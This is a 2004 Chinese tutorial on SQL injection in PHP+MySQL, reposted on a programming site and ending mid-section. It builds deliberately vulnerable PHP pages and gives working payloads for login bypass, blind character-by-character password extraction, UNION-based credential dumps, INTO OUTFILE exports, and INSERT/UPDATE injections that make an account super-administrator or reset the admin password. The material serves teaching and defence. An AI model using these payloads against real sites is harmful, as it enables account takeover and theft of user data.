程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> 關於PHP編程 >> 關於MYSQL語句存在注入漏洞的寫法

關於MYSQL語句存在注入漏洞的寫法

編輯:關於PHP編程

               SQL Injection with MySQL
本文作者:angel
文章性質:原創
發布日期:2004-09-16
本文已經發表在《黑客防線》7月刊,轉載請注明。由於寫了很久,隨著技術的進步,本人也發現該文裡有不少錯誤和羅嗦的地方。請各位高手看了不要笑。本文寫於《Advanced SQL Injection with MySQL》之前一個月。

聲明

  本文僅用於教學目的,如果因為本文造成的攻擊後果本人概不負責,本文所有代碼均為本人所寫,所有數據均經過測試。絕對真實。如果有什麼遺漏或錯誤,歡迎來安全天使論壇(http://www.4ngel.net/forums)和我交流。

前言

  2003年開始,喜歡腳本攻擊的人越來越多,而且研究ASP下注入的朋友也逐漸多了起來,我看過最早的關於SQL注入的文章是一篇99年國外的高手寫的,而現在國外的已經爐火純青了,國內才開始注意這個技術,由此看來,國內的這方面的技術相對於國外還是有一段很大差距,話說回來,大家對SQL注入攻擊也相當熟悉了,國內各大站點都有些堪稱經典的作品,不過作為一篇完整的文章,我覺得還是有必要再說說其定義和原理。如果哪位高手已經達到爐火純青的地步,不妨給本文挑點刺。權當指點小弟。

關於php+Mysql的注入

  國內能看到php+Mysql注入的文章可能比較少,但是如果關注各種WEB程序的漏洞,就可以發現,其實這些漏洞的文章其實就是一個例子。不過由於國內研究PHP的人比研究ASP的人實在少太多,所以,可能沒有注意,況且PHP的安全性比ASP高很多,導致很多人不想跨越這個門檻。
  盡管如此,在PHP站點日益增多的今天,SQL注入仍是最有效最麻煩的一種攻擊方式,有效是因為至少70% 以上的站點存在SQL Injection漏洞,包括國內大部分安全站點,麻煩是因為MYSQL4以下的版本是不支持子語句的,而且當php.ini裡的 magic_quotes_gpc 為On 時。提交的變量中所有的 ' (單引號), " (雙引號), \ (反斜線) and 空字符會自動轉為含有反斜線的轉義字符。給注入帶來不少的阻礙。
  早期的時候,根據程序的代碼,要構造出沒有引號的語句形成有效的攻擊,還真的有點困難,好在現在的技術已經構造出不帶引號的語句應用在某些場合。只要有經驗,其實構造有效的語句一點也不難,甚至成功率也很高,但具體情況具體分析。首先要走出一個誤區。

注:在沒有具體說明的情況下,我們假設magic_quotes_gpc均為off。

php+Mysql注入的誤區

  很多人認為在PHP+MYSQL下注入一定要用到單引號,或者是沒有辦法像MSSQL那樣可以使用“declare @a sysname select @a=<command> exec master.dbo.xp_cmdshell @a”這類的命令來消除引號,其實這個是大家對注入的一種誤解或這說是對注入認識上的一種誤區。
  為什麼呢?因為不管在什麼語言裡,在引號(包括單雙)裡,所有字符串均是常量,即使是dir這樣的命令,也緊緊是字符串而已,並不能當做命令執行,除非是這樣寫的代碼:

$command = "dir c:\";
system($command);


  否則僅僅只是字符串,當然,我們所說的命令不單指系統命令,我們這裡說的是SQL語句,要讓我們構造的SQL語句正常執行,就不能讓我們的語句變成字符串,那麼什麼情況下會用單引號?什麼時候不用呢?看看下面兩句SQL語句:

①SELECT * FROM article WHERE articleid='$id'
②SELECT * FROM article WHERE articleid=$id

  兩種寫法在各種程序中都很普遍,但安全性是不同的,第一句由於把變量$id放在一對單引號中,這樣使得我們所提交的變量都變成了字符串,即使包含了正確的SQL語句,也不會正常執行,而第二句不同,由於沒有把變量放進單引號中,那我們所提交的一切,只要包含空格,那空格後的變量都會作為SQL語句執行,我們針對兩個句子分別提交兩個成功注入的畸形語句,來看看不同之處。

① 指定變量$id為:
1' and 1=2 union select * from user where userid=1/*
此時整個SQL語句變為:
SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*'

②指定變量$id為:
1 and 1=2 union select * from user where userid=1
此時整個SQL語句變為:
SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1


  看出來了嗎?由於第一句有單引號,我們必須先閉合前面的單引號,這樣才能使後面的語句作為SQL執行,並要注釋掉後面原SQL語句中的後面的單引號,這樣才可以成功注入,如果php.ini中magic_quotes_gpc設置為on或者變量前使用了addslashes()函數,我們的攻擊就會化為烏有,但第二句沒有用引號包含變量,那我們也不用考慮去閉合、注釋,直接提交就OK了。
  大家看到一些文章給出的語句中沒有包含單引號例如pinkeyes的《php注入實例》中給出的那句SQL語句,是沒有包含引號的,大家不要認為真的可以不用引號注入,仔細看看PHPBB的代碼,就可以發現,那個$forum_id所在的SQL語句是這樣寫的:

$sql = "SELECT *
FROM " . FORUMS_TABLE . "
WHERE forum_id = $forum_id";


  由於沒有用單引號包含變量,才給pinkeyes這個家伙有機可乘,所以大家在寫PHP程序的時候,記得用單引號把變量包含起來。當然,必要的安全措施是必不可少的。

簡單的例子

  先舉一個例子來給大家了解一下PHP下的注入的特殊性和原理。當然,這個例子也可以告訴大家如何學習構造有效的SQL語句。
  我們拿一個用戶驗證的例子,首先建立一個數據庫和一個數據表並插入一條記錄,如下:

CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
PRIMARY KEY (`userid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;

#
# 導出表中的數據 `user`
#

INSERT INTO `user` VALUES (1, 'angel', 'mypass');


  驗證用戶文件的代碼如下:

<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";

mysql_connect($servername,$dbusername,$dbpassword) or die ("數據庫連接失敗");

$sql = "SELECT * FROM user WHERE username='$username' AND password='$password'";

$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);

if (empty($userinfo))
{
echo "登陸失敗";
} else {
echo "登陸成功";
}

echo "<p>SQL Query: $sql<p>";
?>


  這時我們提交:

http://127.0.0.1/injection/user.php?username=angel' or 1=1


  就會返回:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13
登陸失敗

SQL Query:SELECT * FROM user WHERE username='angel' or 1=1' AND password=''

PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13



  看到了嗎?單引號閉合後,並沒有注釋掉後面的單引號,導致單引號沒有正確配對,所以由此可知我們構造的語句不能讓Mysql正確執行,要重新構造:

http://127.0.0.1/injection/user.php?username=angel' or '1=1


  這時顯示“登陸成功”,說明成功了。或者提交:

http://127.0.0.1/injection/user.php?username=angel'/*
http://127.0.0.1/injection/user.php?username=angel'%23


  這樣就把後面的語句給注釋掉了!說說這兩種提交的不同之處,我們提交的第一句是利用邏輯運算,在ASP中運用可以說是非常廣泛的,這個不用說了吧?第二、三句是根據mysql的特性,mysql支持/*和#兩種注釋格式,所以我們提交的時候是把後面的代碼注釋掉,值得注意的是由於編碼問題,在IE地址欄裡提交#會變成空的,所以我們在地址欄提交的時候,應該提交%23,才會變成#,就成功注釋了,這個比邏輯運算簡單得多了,由此可以看出PHP比ASP 強大靈活多了。
  通過上面的例子大家應該對PHP+MYSQL的注入有個感性的認識了吧?

語句構造

  PHP+MYSQL注入的博大精深不僅僅體現在認證體系的饒過,語句的構造才是最有趣味的地方,但構造語句和ACCESS、MSSQL都有少許不同,但同樣可以發揮得淋漓盡致。看下面的例子。

一、搜索引擎

  網上有一大堆的PHP程序搜索引擎是有問題的,也就是提交特殊字符可以顯示所有記錄,包括不符合條件的,其實這個危害也不算大,因為允許用戶輸入關鍵字進行模糊查詢的地方大多數都允許檢索所有的記錄。很多查詢的設計就是這樣的。
  查詢是只讀的操作應該不會對數據產生破壞作用,不要太擔心。不過洩露隱私不知道算不算危害,下面是一個標准的搜索引擎:

<form method="GET" action="search.php" name="search">
<input name="keywords" type="text" value="" size="15"> <input type="submit" value="Search">
</form>
<p><b>Search result</b></p>

<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";

mysql_connect($servername,$dbusername,$dbpassword) or die ("數據庫連接失敗");

$keywords = $_GET['keywords'];
if (!empty($keywords)) {
  //$keywords = addslashes($keywords);
  //$keywords = str_replace("_","\_",$keywords);
  //$keywords = str_replace("%","\%",$keywords);

  $sql = "SELECT * FROM ".$db_prefix."article WHERE title LIKE '%$keywords%' $search ORDER BY title DESC";
  $result = mysql_db_query($dbname,$sql);
  $tatol=mysql_num_rows($result);

  echo "<p>SQL Query: $sql<p>";

  if ($tatol <=0){
    echo "The \"<b>$keywords</b>\" was not found in all the record.<p>\n";
  } else {
    while ($article=mysql_fetch_array($result)) {
      echo "<li>".htmlspecialchars($article[title])."<p>\n";
    } //while
  }
} else {
  echo "<b>: please enter some keywords.</b><p>\n";
}
?>


  一般程序都是這樣寫的,如果缺乏變量檢查,我們就可以改寫變量,達到“注入”的目的,盡管沒有危害,當我們輸入“___” 、“.__ ”、“%”等類似的關鍵字時,會把數據庫中的所有記錄都取出來。如果我們在表單提交:

%' ORDER BY articleid/*
%' ORDER BY articleid#
__' ORDER BY articleid/*
__' ORDER BY articleid#



  SQL語句就被改變成下面的樣子了,

SELECT * FROM article WHERE title LIKE '%%' ORDER BY articleid/*%' ORDER BY title DESC
SELECT * FROM article WHERE title LIKE '%__' ORDER BY articleid#%' ORDER BY title DESC


  就會列出所有記錄,包括被隱藏的,還可以改變排列順序。這個雖然危害不大,也算是注入的一種方式了吧?

二、查詢字段

  查詢字段又可以分成兩種,本表查詢和跨表查詢,這兩種查詢和ACCESS、MSSQL差不多,甚至更強大、更靈活、更方便。不知道為什麼就是有人認為比ASP難?我們在ASP中經常使用的個別函數在PHP裡要有小小的改動,如下:

① 本表查詢

  看下面一條SQL語句,多用在論壇或者會員注冊系統查看用戶資料的,

<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";

mysql_connect($servername,$dbusername,$dbpassword) or die ("數據庫連接失敗");

$sql = "SELECT * FROM user WHERE username='$username'";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);

if (!$row) {
  echo "該記錄不存在";
  echo "<p>SQL Query: $sql<p>";
  exit;
}

echo "你要查詢的用戶ID是:$row[userid]\n";
echo "<p>SQL Query:$sql<p>";
?>


  當我們提交的用戶名為真時,就會正常返回用戶的ID,如果為非法參數就會提示相應的錯誤,由於是查詢用戶資料,我們可以大膽猜測密碼就存在這個數據表裡(現在我還沒有碰見過密碼是單獨存在另一個表的程序),記得剛才的身份驗證程序嗎?和現在的相比,就少了一個AND條件,如下:

SELECT * FROM user WHERE username='$username' AND password='$password'SELECT * FROM user WHERE username='$username'


  相同的就是當條件為真時,就會給出正確的提示信息,如果我們構造出後面的AND條件部分,並使這部分為真,那我們的目的也就達到了,還是利用剛才建立的user數據庫,用戶名為angel,密碼為mypass,
看了上面的例子,應該知道構造了吧,如果我們提交:

http://127.0.0.1/injection/user.php?username=angel' and password='mypass


  這個是絕對為真的,因為我們這樣提交上面的SQL語句變成了下面的樣子:

SELECT * FROM user WHERE username='angel' AND password='mypass'


  但在實際的攻擊中,我們是肯定不知道密碼的,假設我們知道數據庫的各個字段,下面我們就開始探測密碼了,首先獲取密碼長度:

http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6


  在ACCESS中,用LEN()函數來獲取字符串長度,在MYSQL中,要使用LENGTH(),只要沒有構造錯誤,也就是說SQL語句能正常執行,那返回結果無外乎兩種,不是返回用戶ID,就是返回“該記錄不存在”。當用戶名為angel並且密碼長度為6的時候返回真,就會返回相關記錄,是不是和 ASP裡一樣?再用LEFT()、RIGHT()、MID()函數猜密碼:

http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,2)='my
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,3)='myp
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,4)='mypa
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,5)='mypas
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,6)='mypass


  看,密碼不是出來了嗎?簡單吧?當然實際情況會有不少條件限制,下面還會講到這個例子的深入應用。

② 跨表查詢

  這部分就和ASP有點出入了,除了一定要用UNION連接兩條SQL語句,最難掌握的就是字段的數量,如果看過MYSQL參考手冊,就知道了在 SELECT 中的 select_expression (select_expression 表示你希望檢索的列[字段]) 部分列出的列必須具有同樣的類型。第一個 SELECT 查詢中使用的列名將作為結果集的列名返回。簡單的說,也就是UNION後面查選的字段數量、字段類型都應該與前面的SELECT一樣,而且,如果前面的 SELECT為真,就同時返回兩個SELECT的結果,當前面的SELECT為假,就會返回第二個SELECT所得的結果,某些情況會替換掉在第一個 SELECT原來應該顯示的字段,如下圖:



  看了這個圖直觀多了吧?所以應該先知道前面查詢表的數據表的結構。如果我們查詢兩個數據表的字段相同,類型也相同,我們就可以這樣提交:

SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM……


  如果字段數量、字段類型任意一個不相同,就只能搞清除數據類型和字段數量,這樣提交:

SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM……


  否則就會報錯:

The used SELECT statements have a different number of columns


  如果不知道數據類型和字段數量,可以用1來慢慢試,因為1屬於int\str\var類型,所以我們只要慢慢改變數量,一定可以猜到的。如果不能馬上理解上面的理論,後面有很詳細的例子。
  我們看看下面的數據結構,是一個簡單的文章數據表。

CREATE TABLE `article` (
`articleid` int(11) NOT NULL auto_increment,
`title` varchar(100) NOT NULL default '',
`content` text NOT NULL,
PRIMARY KEY (`articleid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;

#
# 導出表中的數據 `article`
#

INSERT INTO `article` VALUES (1, '我是一個不愛讀書的孩子', '中國的教育制度真是他媽的落後!如果我當教育部長。我要把所有老師都解雇!');
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什麼東西啊');


  這個表的字段類型分別是int、varchar、text,如果我們用UNION聯合查詢的時候,後面的查詢的表的結構和這個一樣。就可以用“SELECT *”,如果有任何一個不一樣,那我們只能用“SELECT 1,1,1,1……”了。

  下面的文件是一個很標准、簡單的顯示文章的文件,很多站點都是這種頁面沒有過濾,所以成為最明顯的注入點,下面就拿這個文件作為例子,開始我們的注入實驗。

<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";

mysql_connect($servername,$dbusername,$dbpassword) or die ("數據庫連接失敗");

$sql = "SELECT * FROM article WHERE articleid='$id'";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);

if (!$row)
{
  echo "該記錄不存在";
  echo "<p>SQL Query:$sql<p>";
  exit;
}

echo "title<br>".$row[title]."<p>\n";
echo "content<br>".$row[content]."<p>\n";
echo "<p>SQL Query:$sql<p>";
?>


正常情況下,我們提交這樣的一個請求:

http://127.0.0.1/injection/show.php?id=1


  就會顯示articleid為1的文章,但我們不需要文章,我們需要的是用戶的敏感信息,就要查詢user表,現在是查詢剛才我們建立的user表。
  由於$id沒有過濾給我們制造了這個機會,我們要把show.php文件中的SQL語句改寫成類似這個樣子:

SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM user ……


  由於這個代碼是有單引號包含著變量的,我們現在提交:

http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*


  按道理說,應該顯示用戶表的username、password兩個字段的內容才對啊,怎麼正常顯示文章呢?如圖:



  其實,我們提交的articleid=1是article表裡存在的,執行結果就是真了,自然返回前面SELECT的結果,當我們提交空的值或者提交一個不存在的值,就會蹦出我們想要的東西:

http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=99999' union select 1,username,password from user/*


  如圖:



  現在就在字段相對應的地方顯示出我們所要的內容。如果還不清楚思路以及具體的應用,後面還會講到一些高級的技巧。

三、導出文件

  這個是比較容易構造但又有一定限制的技術,我們經常可以看見以下的SQL語句:

select * from table into outfile 'c:/file.txt'
select * from table into outfile '/var/www/file.txt'



  但這樣的語句,一般很少用在程序裡,有誰會把自己的數據導出呢?除非是備份,但我也沒有見過這種備份法。所以我們要自己構造,但必須有下面的前提條件:

必須導出到能訪問的目錄,這樣才能下載。
能訪問的目錄必須要有可寫的權限,否則導出會失敗。
確保硬盤有足夠的容量能容下導出的數據,這個很少見。
確保要已經存在相同的文件名,會導致導出失敗,並提示:“File 'c:/file.txt' already exists”,這樣可以防止數據庫表和文件例如/etc/passwd被破壞。
  我們繼續用上面的user.php和show.php兩個文件舉例,如果一個一個用戶猜解實在是太慢了,如果對方的密碼或者其他敏感信息很復雜,又不會寫Exploit,要猜到什麼時候啊?來點大范圍的,直接導出全部數據好了。user.php文件的查詢語句,我們按照into outfile的標准格式,注入成下面的語句就能導出我們需要的信息了:

SELECT * FROM user WHERE username='$username' into outfile 'c:/file.txt'


  知道怎麼樣的語句可以實現我們的目的,我們就很容易構造出相應的語句:

http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt


  出現了錯誤提示,但從返回的語句看來,我們的SQL語句確實是注入正確了,即使出現錯誤,也是查詢的問題了,文件還是乖乖的被導出了,如圖:



  由於代碼本身就有WHERE來指定一個條件,所以我們導出的數據僅僅是滿足這個條件的數據,如果我們想導出全部呢?其實很簡單,只要使這個WHERE條件為假,並且指定一個成真的條件,就可以不用被束縛在WHERE裡了,來看看經典1=1發揮作用了:

http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt


  實際的SQL語句變為:

SELECT * FROM user WHERE username='' or 1=1 into outfile 'c:/file.txt'


  這樣username的參數是空的,就是假了,1=1永遠是真的,那or前面的WHERE就不起作用了,但千萬別用and哦,否則是不能導出全部數據的。
  既然條件滿足,在這種情況下就直接導出所有數據!如圖:



  但是跨表的導出文件的語句該怎麼構造呢?還是用到UNION聯合查詢,所以一切前提條件都應該和UNION、導出數據一樣,跨表導出數據正常情況下應該相下面的一樣:

SELECT * FROM article WHERE articleid='1' union select 1,username,password from user into outfile 'c:/user.txt'


  這樣可以導出文件了,如果我們要構造就提交:

http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user into outfile 'c:/user.txt


  文件是出來了,可是有一個問題,由於前面的查詢articleid='1'為真了,所以導出的數據也有整個文章的一部分,如圖:



  所以我們把應該使前面的查詢語句為假,才能只導出後面查詢的內容,只要提交:

http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt


  這樣才能得到我們想要的資料:



  值得注意的是想要導出文件,必須magic_quotes_gpc沒有打開,並且程序也沒有用到addslashes()函數,還有不能對單引號做任何過濾,因為我們在提交導出路徑的時候,一定要用引號包含起來,否則,系統不會認識那是一個路徑,也不用嘗試用char()或者什麼函數,那是徒勞。

INSERT

  如果大家認為MYSQL中注入僅僅適用於SELECT就大錯特錯了,其實還有兩個危害更大的操作,那就是INSERT和UPDATE語句,這類例子不多,先面先說說INSERT,這主要應用於改寫插入的數據,我們來看個簡單而又廣泛存在的例子,看看下面的數據結構:

CREATE TABLE `user` (
`userid` INT NOT NULL AUTO_INCREMENT ,
`username` VARCHAR( 20 ) NOT NULL ,
`password` VARCHAR( 50 ) NOT NULL ,
`homepage` VARCHAR( 255 ) NOT NULL ,
`userlevel` INT DEFAULT '1' NOT NULL ,
PRIMARY KEY ( `userid` )
);


  其中的userlevel代表用戶的等級,1是普通用戶,2是普通管理員,3是超級管理員,一個注冊程序默認是注冊成普通用戶,如下:

INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');


  默認userlevel字段是插入1,其中的變量都是沒有經過過濾就直接寫入數據庫的,不知道大家有什麼想法?對,就是直接注入,使我們一注冊就是超級管理員。我們注冊的時候,構造$homepage變量,就可以達到改寫的目的,指定$homepage變量為:

http://4ngel.net', '3’)#


  插入數據庫的時候就變成:

INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');


  這樣就注冊成為超級管理員了。但這種利用方法也有一定的局限性,比如,我沒有需要改寫的變量如userlevel字段是數據庫的第一個字段,前面沒有地方給我們注入,我們也沒有辦法了。
或許INSERT還有更廣泛的應用,大家可以自行研究,但原理都是一樣的。

UPDATE

  和INSERT相比,UPDATE的應用更加廣泛,如果過濾不夠,足以改寫任何數據,還是拿剛才的注冊程序來說,數據結構也不變,我們看一下用戶自己修改自己的資料,SQL語句一般都是這樣寫的:

UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id'


  用戶可以修改自己的密碼和主頁,大家有什麼想法?總不至於還是提升權限吧?程序中的SQL語句又沒有更新userlevel字段,怎麼提升啊?還是老辦法,構造$homepage變量, 指定$homepage變量為:

http://4ngel.net', userlevel='3


  整個SQL語句就變成這樣:

UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'


  我們是不是又變成超級管理員了?程序不更新userlevel字段,我們自己來。
還有更加絕的,直接修改任意用戶的資料,還是剛才的例句,但這次安全一點,使用MD5加密:

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'


  盡管密碼被加密了,但我們還是可以構造我們需要的語句,我們指定$password為:

mypass)' WHERE username='admin'#


  這時整個語句變為:

UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'


  這樣就更改了更新的條件,我管你後面的代碼是不是在哭這說:我們還沒有執行啊。當然,也可以從$id下手,指定$id為:

' OR username='admin'


  這時整個語句變為:

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'


  照樣也可以達到修改的目的,所以說注入是非常靈活的技術。如果有些變量是從數據庫讀取的固定值,甚至用$_SESSION['username']來讀取服務器上的SESSION信息時,我們就可以在原來的WHERE之前自己構造WHERE並注釋掉後面的代碼,由此可見,靈活運用注釋也是注入的技巧之一。這些技巧把注入發揮得淋漓盡致。不得不說是一種藝術。
  變量的提交方式可以是GET或POST,提交的位置可以是地址欄、表單、隱藏表單變量或修改本地COOKIE信息等,提交的方式可以是本地提交,服務器上提交或者是工具提交,多種多樣就看你如何運用了。

高級應用

1、 使用MYSQL內置函數

  我們在ACCESS、MSSQL中的注入,有很多比較高級的注入方法,比如深入到系統,猜中文等,這些東西,在MYSQL也能很好得到發揮,其實在MYSQL有很多內置函數都可以用在SQL語句裡,這樣就可以使我們能在注入時更靈活,得到更多關於系統的信息。有幾個函數是比較常用的:

DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
……


  各個函數的具體作用大家可以查閱MYSQL手冊,比如下面這句UPDATE:

UPDATE article SET title=$title WHERE articleid=1


  我們可以指定$title為以上的各個函數,因為沒有被引號包含,所以函數是能正確執行的:

UPDATE article SET title=DATABASE() WHERE id=1
#把當前數據庫名更新到title字段
UPDATE article SET title=USER() WHERE id=1
#把當前 MySQL 用戶名更新到title字段
UPDATE article SET title=SYSTEM_USER() WHERE id=1
#把當前 MySQL 用戶名更新到title字段
UPDATE article SET title=SESSION_USER() WHERE id=1
#把當前 MySQL 用戶名更新到title字段
UPDATE article SET title=CURRENT_USER() WHERE id=1
#把當前會話被驗證匹配的用戶名更新到title字段


  靈活運用MYSQL內置的函數,可以獲得不少有用的信息,比如數據庫版本、名字、用戶、當前數據庫等,比如前面跨表查詢的例子,提交:

http://127.0.0.1/injection/show.php?id=1


  可以看到一篇文章,我們怎麼樣才能知道MYSQL數據庫的相關信息呢?同樣也是用MYSQL內置函數配合UNION聯合查詢,不過相比之下就簡單得多了,甚至還可以讀取文件!既然要用到UNION,同樣要滿足UNION的條件——字段數、數據類型相同。如果我們知道了數據結構,直接構造:

http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()


  就可以返回當前數據庫名和數據庫版本,構造是比較容易的。
  下面附上一段由我好友Super·Hei寫的代碼,可以把字符串轉換為ASCII代碼。感謝提供。

#!/usr/bin/perl
#cody by Super·Hei
#to angel
#C:\>test.pl c:\boot.ini
#99,58,92,98,111,111,116,46,105,110,105

$ARGC = @ARGV;
if ($ARGC != 1) {
  print "Usage: $0 \n";
  exit(1);
}

$path=shift;

@char = unpack('C*', $path);

$asc=join(",",@char);

print $asc;


2、不加單引號注入

注:現在我們假設magic_quotes_gpc為on了。

  眾所周知,整形的數據是不需要用引號引起來的,而字符串就要用引號,這樣可以避免很多問題。但是如果僅僅用整形數據,我們是沒有辦法注入的,所以我需要把我們構造的語句轉換成整形類型,這個就需要用到CHAR(),ASCII(),ORD(),CONV()這些函數了,舉個簡單的例子:

SELECT * FROM user WHERE username='angel'


  如何使$username不帶引號呢?很簡單我們這樣提交就可以了。

SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相當於angel,十進制。
SELECT * FROM user WHERE username=0x616E67656C
# 0x616E67656C 相當於angel,十六進制。



  其他函數大家自己去測試好了,但是前提就如上面所說的,我們可以構造的變量不被引號所包含才有意義,不然我們不管構造什麼,只是字符串,發揮不了作用,比如前面猜密碼的例子(user,php),我們把查詢條件改為userid:

SELECT * FROM user WHERE userid=userid


  按照正常的,提交:

http://127.0.0.1/injection/user.php?userid=1


  就可以查詢userid為1的用戶資料,因為1是數字,所以有沒有引號都無所謂,但是如果我們構造:

http://127.0.0.1/injection/user.php?userid=1 and password=mypass


  絕對錯誤,因為mypass是字符串,除非提交:

http://127.0.0.1/injection/user.php?userid=1 and password='mypass'


  由於magic_quotes_gpc打開的關系,這個是絕對不可能的。引號會變成/',我們有什麼辦法可以把這些字符串變成整形數據嗎?就是用CHAR()函數,如果我們提交:

http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)


  正常返回,實踐證明,我們用CHAR()是可行的,我們就把CHAR()用進LEFT函數裡面逐位猜解!

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)=char(109)


  正常返回,說明userid為1的用戶,password字段第一位是char(109),我們繼續猜:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,2)=char(109,121)


  又正常返回,說明正確,但這樣影響到效率,既然是整形,我們完全可以用比較運算符來比較:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)


  然後適當調整char()裡面的數字來確定一個范圍,很快就可以猜出來,到了後面的時候,還是可以用比較運算符來比較:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,3)>char(109,121,111)


  而原來已經猜好的不用改變了,很快就可以猜完:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,6)=char(109,121,112,97,115,115)




  然後在mysql>命令提示符下或者在phpMyadmin裡面執行:

select char(109,121,112,97,115,115)


  就會返回:mypass



  當然也可以使用SUBSTRING(str,pos,len)和MID(str,pos,len)函數,從字符串 str 的 pos 位置起返回 len 個字符的子串。這個和ACCESS是一樣的。還是剛才的例子,我們猜password字段的第三位、第四位試試,第三位是p,第四位是a,我們這樣構造:

http://127.0.0.1/injection/user.php?userid=1 and mid(password,3,1)=char(112)
http://127.0.0.1/injection/user.php?userid=1 and mid(password,4,1)=char(97)


  我們要的結果就迸出來了。當然,如果覺得麻煩,還可以用更簡單的辦法,就是利用ord()函數,具體作用可以去查看MYSQL參考手冊,該函數返回的是整形類型的數據,可以用比較運算符進行比較、當然得出的結果也就快多了,也就是這樣提交:

http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))<113
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))=112


  這樣我們就得出結果了,然後我們再用char()函數還原出來就好了。至於其他更多函數,大家可以自己去試驗,限於篇幅也不多說了。

3、快速確定未知數據結構的字段及類型

  如果不清楚數據結構,很難用UNION聯合查詢,這裡我告訴大家一個小技巧,也是非常有用非常必要的技巧,充分發揮UNION的特性。
  還是拿前面的show.php文件做例子,當我們看到形如xxx.php?id=xxx的URL的時候,如果要UNION,就要知道這個xxx.php查詢的數據表的結構,我們可以這樣提交來快速確定有多少個字段:

http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1


  有多少個“1”就表示有多少個字段,可以慢慢試,如果字段數不相同,就肯定會出錯,如果字段數猜對了,就肯定會返回正確的頁面,字段數出來了,就開始判斷數據類型,其實也很容易,隨便用幾個字母代替上面的1,但是由於magic_quotes_gpc打開,我們不能用引號,老辦法,還是用char() 函數,char(97)表示字母“a”,如下:

http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)


  如果是字符串,那就會正常顯示“a”,如果不是字符串或文本,也就是說是整形或布爾形,就會返回“0”,如圖:



  判斷最主要靠什麼?經驗,我以前一直都說,經驗很重要,豐富經驗能更好的作出正確的判斷,因為程序的代碼是千變萬化的,我們這裡是只是舉個最簡單的例子,這裡由於局限性,程序都是我自己寫、自己測試的。方法因程序而異。希望大家在實戰中,注意區別,不要照搬,靈活運用才是根本。

4、猜數據表名

  在快速確定未知數據結構的字段及類型的基礎上,我們又可以進一步的分析整個數據結構,那就是猜表名,其實使用UNION聯合查詢的時候,不管後面的查詢怎麼“畸形”,只要沒有語句上的問題,都會正確返回,也就是說,我們可以在上面的基礎上,進一步猜到表名了,比如剛才我們提交:

http://127.0.0.1/injection/show.php?id=1 union select 1,1,1


  返回正常的內容,就說明這個文件查詢的表內是存在3個字段的,然後我們在後面加入from table_name,也就是這樣:

http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from members
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from admin
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from user


